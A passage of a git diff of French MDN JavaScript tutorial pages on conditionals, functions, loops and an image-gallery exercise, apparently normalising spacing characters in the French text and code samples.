|| choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i <= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); @@ -539,19 +539,19 @@ window.addEventListener('load', updateCode); {{ EmbedLiveSample('Apprentissage_actif_un_calendrier_simple', '100%', 1110, "", "", "hide-codepen-jsfiddle") }} -## Activité : plus de choix de couleurs +## Activité : plus de choix de couleurs -Nous allons reprendre l'exemple de l'opérateur ternaire vu plus haut et transformer cet opérateur ternaire en une directive `switch` qui nous permettra une plus grande variété de choix pour le site web tout simple. Voyez l'élément {{htmlelement("select")}} — cette fois, il n'y a pas deux options de thème, mais cinq. Il vous faut ajouter une directive `switch` au dessous du commentaire `// AJOUT D'UNE DIRECTIVE SWITCH` : +Nous allons reprendre l'exemple de l'opérateur ternaire vu plus haut et transformer cet opérateur ternaire en une directive `switch` qui nous permettra une plus grande variété de choix pour le site web tout simple. Voyez l'élément {{htmlelement("select")}} — cette fois, il n'y a pas deux options de thème, mais cinq. Il vous faut ajouter une directive `switch` au dessous du commentaire `// AJOUT D'UNE DIRECTIVE SWITCH` : - Elle doit accepter la variable `choice` comme expression d'entrée. - Pour chaque cas, le choix doit être égal à une des valeurs possibles pouvant être choisies, c'est-à-dire blanc, noir, mauve, jaune ou psychédélique. -- Chaque cas exécutera la fonction `update()` à laquelle deux valeurs de couleurs seront passées, la première pour le fond, la seconde pour le texte. Souvenez vous que les valeurs de couleurs sont des chaînes ; elle doivent donc être mises entre guillemets. +- Chaque cas exécutera la fonction `update()` à laquelle deux valeurs de couleurs seront passées, la première pour le fond, la seconde pour le texte. Souvenez vous que les valeurs de couleurs sont des chaînes ; elle doivent donc être mises entre guillemets. -Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton « Réinitialiser ». Si vous êtes vraiment bloqué, pressez « Voir la solution ». +Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton « Réinitialiser ». Si vous êtes vraiment bloqué, pressez « Voir la solution ». ```html hidden <div class="output" style="height: 300px;"> - <label for="theme">Choisissez un thème : </label> + <label for="theme">Choisissez un thème : </label> <select id="theme"> <option value="white">Blanc</option> <option value="black">Noir</option> @@ -606,7 +606,7 @@ solution.addEventListener('click', function() { updateCode(); }); -const jsSolution = 'const select = document.querySelector(\'select\');\nlet html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n let choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}'; +const jsSolution = 'const select = document.querySelector(\'select\');\nlet html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n let choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); @@ -616,7 +616,7 @@ window.addEventListener('load', updateCode); ## Conclusion -C'est tout ce qu'il est nécessaire de connaître à propos des structures conditionnelles en JavaScript pour le moment ! Je pense que vous avez assurément compris ces concepts et travaillé les exemples aisément ; s'il y a quelque chose que vous n'avez pas compris, relisez cet article à nouveau, ou bien [contactez‑nous](/fr/Apprendre#Nous_contacter) pour une aide. +C'est tout ce qu'il est nécessaire de connaître à propos des structures conditionnelles en JavaScript pour le moment ! Je pense que vous avez assurément compris ces concepts et travaillé les exemples aisément ; s'il y a quelque chose que vous n'avez pas compris, relisez cet article à nouveau, ou bien [contactez‑nous](/fr/Apprendre#Nous_contacter) pour une aide. ## Voir aussi diff --git a/files/fr/learn/javascript/building_blocks/functions/index.md b/files/fr/learn/javascript/building_blocks/functions/index.md index 9b0e1d4e50..0133dfdfb7 100644 --- a/files/fr/learn/javascript/building_blocks/functions/index.md +++ b/files/fr/learn/javascript/building_blocks/functions/index.md @@ -69,7 +69,7 @@ var myNumber = Math.random(); > **Note :** N'hésitez pas à copier ces lignes dans la console JavaScript de votre navigateur afin de vous familiariser à nouveau avec leur fonctionnalité si vous en ressentez le besoin. -Le langage JavaScript a de nombreuses fonctions intégrées pour vous permettre de faire des choses utiles sans devoir écrire tout le code vous-même. En fait, certains codes que vous appelez quand vous **invoquez** (un mot sophistiqué pour dire lancer ou exécuter) une fonction intégrée du navigateur ne pourraient pas être écrits en JavaScript — la plupart de ces fonctions appellent des parties de code interne du navigateur qui est très majoritairement écrit en langages de bas niveau comme le C++, et non pas en langage web comme JavaScript. +Le langage JavaScript a de nombreuses fonctions intégrées pour vous permettre de faire des choses utiles sans devoir écrire tout le code vous-même. En fait, certains codes que vous appelez quand vous **invoquez** (un mot sophistiqué pour dire lancer ou exécuter) une fonction intégrée du navigateur ne pourraient pas être écrits en JavaScript — la plupart de ces fonctions appellent des parties de code interne du navigateur qui est très majoritairement écrit en langages de bas niveau comme le C++, et non pas en langage web comme JavaScript. Gardez à l'esprit que certaines fonctions intégrées du navigateur ne font pas partie du noyau du langage JavaScript — certaines font partie des APIs du navigateur qui sont construites à partir du langage par défaut pour apporter encore plus de fonctionnalités ( consultez cette [section antérieure de notre cours](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) pour une description plus détaillée ). Nous aborderons l'utilisation des APIs du navigateur plus en détail dans un module ultérieur. @@ -83,7 +83,7 @@ Vous n'aurez pas besoin d'apprendre les rouages des objets structurés du JavaSc ## Fonctions personnalisées -Nous avons également rencontré beaucoup de fonctions personnalisées dans le cours jusqu'ici — fonctions définies dans votre code, et non pas dans le navigateur. À chaque fois que vous voyez un nom personnalisé suivi de parenthèses, vous utilisez une fonction personnalisée. Dans notre exemple [random-canvas-circles.html](http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html) tiré de l'article [les boucles dans le code](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html) complet), nous avons inclus une fonction personnalisée `draw()`qui ressemblait à ça : +Nous avons également rencontré beaucoup de fonctions personnalisées dans le cours jusqu'ici — fonctions définies dans votre code, et non pas dans le navigateur. À chaque fois que vous voyez un nom personnalisé suivi de parenthèses, vous utilisez une fonction personnalisée. Dans notre exemple [random-canvas-circles.html](http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html) tiré de l'article [les boucles dans le code](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html) complet), nous avons inclus une fonction personnalisée `draw()`qui ressemblait à ça : ```js function draw() { @@ -97,13 +97,13 @@ function draw() { } ``` -Cette fonction dessine 100 cercles aléatoires dans un élément {{htmlelement("canvas")}}. À chaque fois que nous voulons faire cela, il suffit d'invoquer la fonction comme suit : +Cette fonction dessine 100 cercles aléatoires dans un élément {{htmlelement("canvas")}}. À chaque fois que nous voulons faire cela, il suffit d'invoquer la fonction comme suit : ```js draw(); ``` -au lieu de devoir ré-écrire tout le code à chaque fois que nous voulons la répéter. De plus, les fonctions peuvent contenir tout le code qu'il vous plaira — vous pouvez même appeler d'autres fonctions à l'intérieur d'une fonction. Par exemple, la fonction ci-dessus appelle la fonction `random()` trois fois, comme définie par le code suivant : +au lieu de devoir ré-écrire tout le code à chaque fois que nous voulons la répéter. De plus, les fonctions peuvent contenir tout le code qu'il vous plaira — vous pouvez même appeler d'autres fonctions à l'intérieur d'une fonction. Par exemple, la fonction ci-dessus appelle la fonction `random()` trois fois, comme définie par le code suivant : ```js function random(number) { @@ -111,7 +111,7 @@ function random(number) { } ``` -Nous avions besoin de cette fonction car la fonction intégrée du navigateur [Math.random()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random) génère uniquement un nombre décimal aléatoire compris entre 0 et 1 alors que nous voulions un nombre entier compris entre 0 et un nombre défini. +Nous avions besoin de cette fonction car la fonction intégrée du navigateur [Math.random()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random) génère uniquement un nombre décimal aléatoire compris entre 0 et 1 alors que nous voulions un nombre entier compris entre 0 et un nombre défini. ## Invoquer des fonctions @@ -144,7 +144,7 @@ function() { } ``` -Ceci est une **fonction anonyme** — elle n'a pas de nom ! De plus, elle ne produira pas d'effet par elle-même. Les fonctions anonymes sont généralement utilisées en association avec un gestionnaire d'évènement, comme dans l'exemple suivant qui lance le code inscrit dans la fonction lorsque le bouton associé est cliqué : +Ceci est une **fonction anonyme** — elle n'a pas de nom ! De plus, elle ne produira pas d'effet par elle-même. Les fonctions anonymes sont généralement utilisées en association avec un gestionnaire d'évènement, comme dans l'exemple suivant qui lance le code inscrit dans la fonction lorsque le bouton associé est cliqué : ```js var myButton = document.querySelector('button'); @@ -209,7 +209,7 @@ Certaines fonctions nécessitent que l'on définisse des **paramètres** lorsqu' > **Note :** Les paramètres sont parfois appelés arguments, propriétés ou encore attributs. -Par exemple, la fonction intégrée du navigateur [Math.random()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random) ne nécessite pas de paramètres. lorsqu'elle est appelée, elle renvoie toujours un nombre aléatoire compris entre 0 et 1 : +Par exemple, la fonction intégrée du navigateur [Math.random()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random) ne nécessite pas de paramètres. lorsqu'elle est appelée, elle renvoie toujours un nombre aléatoire compris entre 0 et 1 : ```js var myNumber = Math.random(); @@ -242,7 +242,7 @@ Parlons un peu de la {{glossary("portée")}} — un concept très important lors Le plus haut niveau en dehors de toutes vos fonctions est appelé la **portée globale**. Les valeurs définies dans la portée globale sont accessibles à partir de n'importe quelle partie du code. -Le JavaScript est construit de cette façon pour plusieurs raisons — mais principalement à cause de la sécurité et de l'organisation. Parfois, vous ne voulez pas que vos variables soient accessibles depuis toutes les autres parties du code — des script externes appelés depuis l'extérieur de la fonction pourraient interférer avec votre code et causer des problèmes parce qu'ils utilisent les mêmes noms de variables que d'autres parties du code, provoquant des conflits. Cela peut être fait de manière malveillante ou simplement par accident. +Le JavaScript est construit de cette façon pour plusieurs raisons — mais principalement à cause de la sécurité et de l'organisation. Parfois, vous ne voulez pas que vos variables soient accessibles depuis toutes les autres parties du code — des script externes appelés depuis l'extérieur de la fonction pourraient interférer avec votre code et causer des problèmes parce qu'ils utilisent les mêmes noms de variables que d'autres parties du code, provoquant des conflits. Cela peut être fait de manière malveillante ou simplement par accident. Par exemple, disons que vous avez un fichier HTML qui appelle deux fichiers JavaScript externes, et que les deux ont une variable et une fonction définie qui utilisent le même nom : @@ -271,13 +271,13 @@ function greeting() { } ``` -Les deux fonctions que vous voulez appeler s'appellent `greeting()`, mais vous ne pouvez accéder qu'à la fonction `greeting()` du second fichier `second.js` — car celui-ci est appliqué au code HTML plus tard dans le code source, de sorte que sa variable et sa fonction écrasent celles du premier fichier `first.js`. +Les deux fonctions que vous voulez appeler s'appellent `greeting()`, mais vous ne pouvez accéder qu'à la fonction `greeting()` du second fichier `second.js` — car celui-ci est appliqué au code HTML plus tard dans le code source, de sorte que sa variable et sa fonction écrasent celles du premier fichier `first.js`. > **Note :** Vous pouvez voir cet exemple [s'exécuter sur GitHub](http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html) (voir aussi le [code source](https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions)). En conservant des parties de votre code enfermées dans des fonctions, vous évitez de tels problèmes. Cette procédure est considérée comme une bonne pratique. -C'est un peu comme au zoo. Les lions, zèbres, tigres et pingouins sont enfermés dans leurs propres enclos, et n'ont accès qu'aux éléments se trouvant à l'intérieur de leur enclos — de la même manière que la portée des fonctions. S'il leur était possible de pénétrer dans les autres enclos, des problèmes se produiraient. Au mieux, des animaux différents seraient dans l'inconfort au sein d'un habitat étranger — un lion ou un tigre se sentirait très mal dans l'environnement humide et glacé des pingouins. Au pire, les lions et les tigres pourraient essayer de manger les pingouins ! +C'est un peu comme au zoo. Les lions, zèbres, tigres et pingouins sont enfermés dans leurs propres enclos, et n'ont accès qu'aux éléments se trouvant à l'intérieur de leur enclos — de la même manière que la portée des fonctions. S'il leur était possible de pénétrer dans les autres enclos, des problèmes se produiraient. Au mieux, des animaux différents seraient dans l'inconfort au sein d'un habitat étranger — un lion ou un tigre se sentirait très mal dans l'environnement humide et glacé des pingouins. Au pire, les lions et les tigres pourraient essayer de manger les pingouins !  @@ -304,7 +304,7 @@ Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la port output(z); ``` - Toutes les deux devraient vous renvoyer un message d'erreur du type : "[ReferenceError: y is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined)". Pourquoi ? À cause de la portée de la fonction — `y` and `z` sont enfermées dans les fonctions `a()` et `b()`, donc `output()` ne peut pas les atteindre lorsqu'elles sont appelées depuis la portée globale. + Toutes les deux devraient vous renvoyer un message d'erreur du type : "[ReferenceError: y is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined)". Pourquoi ? À cause de la portée de la fonction — `y` and `z` sont enfermées dans les fonctions `a()` et `b()`, donc `output()` ne peut pas les atteindre lorsqu'elles sont appelées depuis la portée globale. 5. Néanmoins, que se passe-t-il losqu'elles sont appelées de l'intérieur d'une autre fonction ? Essayer d'éditer `a()` et `b()` pour qu'elles aient la forme suivante : @@ -350,7 +350,7 @@ Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la port b(); ``` - Les deux fonctions `a()` et `b()` appelées devraient renvoyer la valeur x — 1. Cela fonctionne très bien car même si la fonction `output()` n'est pas dans la même portée que celle dans laquelle `x` est définie, `x` est une variable globale et donc elle est disponible dans n'importe quelle partie du code. + Les deux fonctions `a()` et `b()` appelées devraient renvoyer la valeur x — 1. Cela fonctionne très bien car même si la fonction `output()` n'est pas dans la même portée que celle dans laquelle `x` est définie, `x` est une variable globale et donc elle est disponible dans n'importe quelle partie du code. 8. Pour finir, essayez de mettre à jour le code comme ceci : @@ -373,15 +373,15 @@ Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la port b(); ``` - Cette fois l'appel de `a()` et `b()` renverra l'erreur "[ReferenceError: z is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined)" — parce que l'appel de la fonction `output()` et des variables qu'elle essaie d'afficher ne sont pas définis dans les mêmes portées — les variables sont en effet invisibles pour cet appel de fonction. + Cette fois l'appel de `a()` et `b()` renverra l'erreur "[ReferenceError: z is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined)" — parce que l'appel de la fonction `output()` et des variables qu'elle essaie d'afficher ne sont pas définis dans les mêmes portées — les variables sont en effet invisibles pour cet appel de fonction. > **Note :** Ces règles de portée ne s'appliquent pas aux boucles (ex. `for() { ... }`) ni aux instructions conditionnelles (ex. `if() { ... }`) — elles semblent très similaires, mais ce n'est pas la même chose ! Prenez garde de ne pas les confondre. -> **Note :** Le message d'erreur [ReferenceError: "x" is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined) est l'un des plus courant que vous pourrez rencontrer. S'il s'affiche et que vous êtes sûr d'avoir défini la variable en question, vérifiez quelle est sa portée. +> **Note :** Le message d'erreur [ReferenceError: "x" is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined) est l'un des plus courant que vous pourrez rencontrer. S'il s'affiche et que vous êtes sûr d'avoir défini la variable en question, vérifiez quelle est sa portée. ### Des fonctions à l'intérieur de fonctions -Gardez à l'esprit que vous pouvez appeler une fonction de n'importe où, même à l'intérieur d'une autre fonction. Ceci est souvent utilisé comme un moyen de garder le code bien organisé — si vous avez une grande fonction complexe, elle est plus facile à comprendre si vous la divisez en plusieurs sous-fonctions : +Gardez à l'esprit que vous pouvez appeler une fonction de n'importe où, même à l'intérieur d'une autre fonction. Ceci est souvent utilisé comme un moyen de garder le code bien organisé — si vous avez une grande fonction complexe, elle est plus facile à comprendre si vous la divisez en plusieurs sous-fonctions : ```js function myBigFunction() { @@ -405,7 +405,7 @@ function subFunction3() { } ``` -Assurez-vous simplement que les valeurs utilisées dans la fonction ont une portée correcte. L'exemple ci-dessus entraînerait une erreur `ReferenceError: myValue is not defined`, car bien que la valeur `myValue` est définie dans la même portée que les appels de fonction, elle n'est pas définie dans les définitions de fonctions - le code réel qui est exécuté lorsque les fonctions sont appelées. Pour que cela fonctionne, vous devez passer la valeur dans la fonction en tant que paramètre, comme ceci : +Assurez-vous simplement que les valeurs utilisées dans la fonction ont une portée correcte. L'exemple ci-dessus entraînerait une erreur `ReferenceError: myValue is not defined`, car bien que la valeur `myValue` est définie dans la même portée que les appels de fonction, elle n'est pas définie dans les définitions de fonctions - le code réel qui est exécuté lorsque les fonctions sont appelées. Pour que cela fonctionne, vous devez passer la valeur dans la fonction en tant que paramètre, comme ceci : ```js function myBigFunction() { diff --git a/files/fr/learn/javascript/building_blocks/image_gallery/index.md b/files/fr/learn/javascript/building_blocks/image_gallery/index.md index e95ecbc4a2..969fbb7f74 100644 --- a/files/fr/learn/javascript/building_blocks/image_gallery/index.md +++ b/files/fr/learn/javascript/building_blocks/image_gallery/index.md @@ -17,7 +17,7 @@ original_slug: Apprendre/JavaScript/Building_blocks/Image_gallery --- {{LearnSidebar}}{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} -Maintenant que nous avons examiné les blocs fondamentaux de construction de JavaScript, nous allons tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en vous aidant à créer un élément assez commun que vous verrez sur de nombreux sites web. Une galerie JavaScript animée. +Maintenant que nous avons examiné les blocs fondamentaux de construction de JavaScript, nous allons tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en vous aidant à créer un élément assez commun que vous verrez sur de nombreux sites web. Une galerie JavaScript animée. <table class="standard-table"> <tbody> @@ -25,7 +25,7 @@ Maintenant que nous avons examiné les blocs fondamentaux de construction de Jav <th scope="row">Conditions préalables:</th> <td> Avant de tenter cette évaluation, vous devriez avoir parcouru tous les - articles de ce module. + articles de ce module. </td> </tr> <tr> @@ -42,13 +42,13 @@ Maintenant que nous avons examiné les blocs fondamentaux de construction de Jav Pour réaliser cette évaluation, vous devez récupérer le fichier [ZIP](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/gallery/gallery-start.zip?raw=true) et le décompresser quelque par sur votre ordinateur. -Vous pouvez également utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour effectuer votre évalution. Vous pouvez copier le code HTML,CSS et JavaScript dans l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas de panneaux JavaScript/CSS séparés, n'hésitez pas à utiliser les éléments `<script>`/`<style>` dans la page HTML. +Vous pouvez également utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour effectuer votre évalution. Vous pouvez copier le code HTML,CSS et JavaScript dans l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas de panneaux JavaScript/CSS séparés, n'hésitez pas à utiliser les éléments `<script>`/`<style>` dans la page HTML. > **Note :** Si vous êtes bloqué, demandez-nous de l'aide — voir la section {{anch("Évaluation ou aide supplémentaire")}} au bas de cette page. ## Résumé du projet -Vous avez reçu des fichiers HTML, CSS, des images et quelques lignes de code JavaScript; vous devez écrire le code JavaScript nécessaire pour en faire un programme fonctionnel. Le corps HTML ressemble à ceci: +Vous avez reçu des fichiers HTML, CSS, des images et quelques lignes de code JavaScript; vous devez écrire le code JavaScript nécessaire pour en faire un programme fonctionnel. Le corps HTML ressemble à ceci: ```html <h1>Image gallery example</h1> @@ -70,7 +70,7 @@ L'exemple ressemble à ceci: Les parties les plus intéressantes du fichier CSS de l'exemple: -- Positionnez les trois éléments en absolu à l’intérieur du `full-img <div>`: le `<img>` dans lequel l’image est affichée grandeur nature, un `<div>` vide dimensionné à la même taille que le `<img>` et placé juste au-dessus (ceci est utilisé pour appliquer un effet assombrissant à l'image via une couleur d'arrière-plan semi-transparente), et un bouton `<button>`qui est utilisé pour contrôler l'effet d'assombrissement. +- Positionnez les trois éléments en absolu à l’intérieur du `full-img <div>`: le `<img>` dans lequel l’image est affichée grandeur nature, un `<div>` vide dimensionné à la même taille que le `<img>` et placé juste au-dessus (ceci est utilisé pour appliquer un effet assombrissant à l'image via une couleur d'arrière-plan semi-transparente), et un bouton `<button>`qui est utilisé pour contrôler l'effet d'assombrissement. - Réglez la largeur des images à l'intérieur de `thumb-bar <div>`(appelées images miniatures) à 20% et faites un float à gauche pour qu'elles soient côte-à-côte sur une ligne. Votre JavaScript doit: @@ -92,7 +92,7 @@ Nous vous avons fourni des lignes qui storent une référence à `thumb-bar <div Vous avez besoin de: 1. Ajouter votre code en-dessous du commentaire _Looping through images_ à l'intérieur d'une boucle qui itère sur les 5 images — vous n'avez besoin que de 5 itérations, chacune représentant une image. -2. Remplacez, pour chaque itération, la valeur `xxx` de l'emplacement par une chaîne de caractères qui correspond au chemin de l'image considérée. Il faut définir la valeur de l'attribut `src` dans chaque cas. Gardez à l'esprit que, à chaque fois, l'image est dans le répertoire des images et que son nom est `pic1.jpg`, `pic2.jpg`, etc. +2. Remplacez, pour chaque itération, la valeur `xxx` de l'emplacement par une chaîne de caractères qui correspond au chemin de l'image considérée. Il faut définir la valeur de l'attribut `src` dans chaque cas. Gardez à l'esprit que, à chaque fois, l'image est dans le répertoire des images et que son nom est `pic1.jpg`, `pic2.jpg`, etc. ### Ajout d'un gestionnaire onclick à chaque miniature @@ -107,10 +107,10 @@ Vous avez besoin de: Il ne reste que notre `<button>` d'assombrissement — nous vous avons fourni une ligne qui stocke une référence au `<button>` dans une variable appelée `btn`. Vous devez ajouter un gestionnaire `onclick` qui: 1. Vérifie la classe appliquée à `<button>` — à nouveau, vous pouvez utiliser `getAttribute()`. -2. Si le nom de classe est `"dark"`, changer la classe du `<button>` pour `"light"` (avec [`setAttribute()`](/fr/docs/Web/API/Element/setAttribute)), son contenu textuel par "Lighten", et le {{cssxref("background-color")}} du voile d'assombrissement `<div>` par `"rgba(0,0,0,0.5)"`. +2. Si le nom de classe est `"dark"`, changer la classe du `<button>` pour `"light"` (avec [`setAttribute()`](/fr/docs/Web/API/Element/setAttribute)), son contenu textuel par "Lighten", et le {{cssxref("background-color")}} du voile d'assombrissement `<div>` par `"rgba(0,0,0,0.5)"`. 3. Si le nom de classe n'est pas `"dark"`, changer la classe du `<button>` pour `"dark"`, son contenu textuel par "Darken", et le {{cssxref("background-color")}} du voile d'assombrissement `<div>` par `"rgba(0,0,0,0)"`. -Les lignes suivantes fournissent une base pour réaliser les changements décrits aux points 2 et 3. +Les lignes suivantes fournissent une base pour réaliser les changements décrits aux points 2 et 3. ```js btn.setAttribute('class', xxx); diff --git a/files/fr/learn/javascript/building_blocks/index.md b/files/fr/learn/javascript/building_blocks/index.md index ddf8519680..cf00276c10 100644 --- a/files/fr/learn/javascript/building_blocks/index.md +++ b/files/fr/learn/javascript/building_blocks/index.md @@ -15,7 +15,7 @@ original_slug: Apprendre/JavaScript/Building_blocks --- {{JsSidebar}}{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}} -Dans ce module nous allons continuer à voir l'ensemble des fonctionnalités clefs du JavaScript en nous concentrant plus particulièrement sur les structures les plus répandues telles que les conditions, les boucles, les fonctions et les événements. Nous avons déjà vu ces notions dans le cours mais sans nous y attarder, nous allons maintenant les étudier en détails. +Dans ce module nous allons continuer à voir l'ensemble des fonctionnalités clefs du JavaScript en nous concentrant plus particulièrement sur les structures les plus répandues telles que les conditions, les boucles, les fonctions et les événements. Nous avons déjà vu ces notions dans le cours mais sans nous y attarder, nous allons maintenant les étudier en détails. ## Prérequis @@ -28,7 +28,7 @@ Avant de commencer ce module, vous devriez connaître les bases du [HTML](/fr/Ap - [Prendre des décisions dans votre code — les conditions](/fr/docs/Learn/JavaScript/Building_blocks/conditionals) - : Quelque soit le langage de programmation, notre programme doit prendre des décisions et effectuer des actions différentes selon les valeurs traitées. Dans un jeu par exemple, si le nombre de vies du joueur est égal à 0, le jeu s'achève. Sur le même principe, une application météo affiche un fond d'aube si elle est lancée le matin, des étoiles et la Lune si, au contraire, elle est lancée la nuit. Dans cet article, nous allons voir comment les structures conditionnelles fonctionnent en JavaScript. - [Les boucles](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) - - : Parfois une action doit être réalisée plusieurs fois d'affilée. Par exemple, parcourir une liste de noms. En programmation, les boucles effectuent ce genre de tâches à merveille. Ici, nous allons examiner les structures de boucles en JavaScript. + - : Parfois une action doit être réalisée plusieurs fois d'affilée. Par exemple, parcourir une liste de noms. En programmation, les boucles effectuent ce genre de tâches à merveille. Ici, nous allons examiner les structures de boucles en JavaScript. - [Les fonctions — réutiliser des blocs de code](/fr/docs/Learn/JavaScript/Building_blocks/Functions) - : Un autre concept essentiel en programmation est celui de **fonctions.** Les **fonctions** permettent de définir un morceau de code réalisant une tâche particulière qui pourra être appelé ultérieurement dans le reste du programme par une simple ligne, ce qui évite d'écrire plusieurs fois le même code. Dans cet article, nous allons voir les concepts qui se cachent derrière les fonctions tels que la syntaxe de base, la définition et l'appel d'une fonction, sa portée et ses paramètres. - [Créez votre propre fonction](/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function) diff --git a/files/fr/learn/javascript/building_blocks/looping_code/index.md b/files/fr/learn/javascript/building_blocks/looping_code/index.md index db4470f17c..69f1989a43 100644 --- a/files/fr/learn/javascript/building_blocks/looping_code/index.md +++ b/files/fr/learn/javascript/building_blocks/looping_code/index.md @@ -245,11 +245,11 @@ Cela nous donne la sortie suivante : Cela montre une boucle utilisée pour itérer sur les éléments d'un tableau et faire quelque chose avec chacun d'eux — un schéma très commun en JavaScript. Ici : 1. L'itérateur, `i`, commence à `0` (`let i = 0`). -2. On lui a demandé de s'exécuter jusqu'à ce que sa valeur ne soit plus inférieure à la longueur du tableau chats. C'est important — la condition de sortie montre la condition à laquelle la boucle continue de s'exécuter. C'est à dire dans ce cas, tant que `i < chats.length` est vrai, la boucle continuera à s'exécuter. -3. Au sein de la boucle, on concatène les élèments présents dans cette boucle (`cats[i]` est `cats[quelque soit la valeur de i lors de l'iteration]`) avec une virgule et un espace, à la fin de la variable `info`. Donc : +2. On lui a demandé de s'exécuter jusqu'à ce que sa valeur ne soit plus inférieure à la longueur du tableau chats. C'est important — la condition de sortie montre la condition à laquelle la boucle continue de s'exécuter. C'est à dire dans ce cas, tant que `i < chats.length` est vrai, la boucle continuera à s'exécuter. +3. Au sein de la boucle, on concatène les élèments présents dans cette boucle (`cats[i]` est `cats[quelque soit la valeur de i lors de l'iteration]`) avec une virgule et un espace, à la fin de la variable `info`. Donc : 1. Pendant le premier lancement, `i = 0`, donc `cats[0] + ', '` sera concaténé à ("Bill, ") - 2. Au second lancement, `i = 1`, donc `cats[1] + ', '` et sera concaténé à ("Jeff, ") + 2. Au second lancement, `i = 1`, donc `cats[1] + ', '` et sera concaténé à ("Jeff, ") 3. Et ainsi de suite. Aprés chaque tour de boucle, 1 est ajouté à `i` (`i++`), et alors le processus recommence encore. 4. Quand `i` devient égal à `cats.length`, la boucle s'arrête, et le navigateur va bouger au prochain bout de code aprés la boucle. @@ -276,13 +276,13 @@ for (let i = 0; i < cats.length; i++) { > **Note :** Vous pouvez trouver cet exemple de code sur [GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html) (et aussi le [voir en ligne](http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html)). -> **Attention :** Avec for — comme avec toutes les boucles — vous devez vous assurer que l'initialiseur est itéré de sorte qu'il finisse par atteindre la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une **boucle infinie.** +> **Attention :** Avec for — comme avec toutes les boucles — vous devez vous assurer que l'initialiseur est itéré de sorte qu'il finisse par atteindre la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une **boucle infinie.** ## Quitter une boucle avec break Si vous voulez quitter une boucle avant que toutes les itérations aient été terminées, vous pouvez utiliser l'instruction [break](/fr/docs/Web/JavaScript/Reference/Instructions/break). Nous l'avons déjà rencontré dans l'article précédent lorsque nous examinions les [instructions switch](/fr/Apprendre/JavaScript/Building_blocks/conditionals#Instruction_switch) : lorsqu'un argument est rencontré dans une instruction switch qui correspond à l'expression d'entrée, l'instruction break quitte immédiatement l'instruction switch et passe au code après elle. -C'est la même chose avec les boucles – un `break` quittera immédiatement la boucle et fera passer le navigateur sur n'importe quel code qui le suit. +C'est la même chose avec les boucles – un `break` quittera immédiatement la boucle et fera passer le navigateur sur n'importe quel code qui le suit. Supposons que nous voulions effectuer une recherche parmi une liste de contacts et de numéros de téléphone et que nous ne renvoyions que le nombre que nous voulions trouver. Tout d'abord, du HTML simple - un texte {{htmlelement 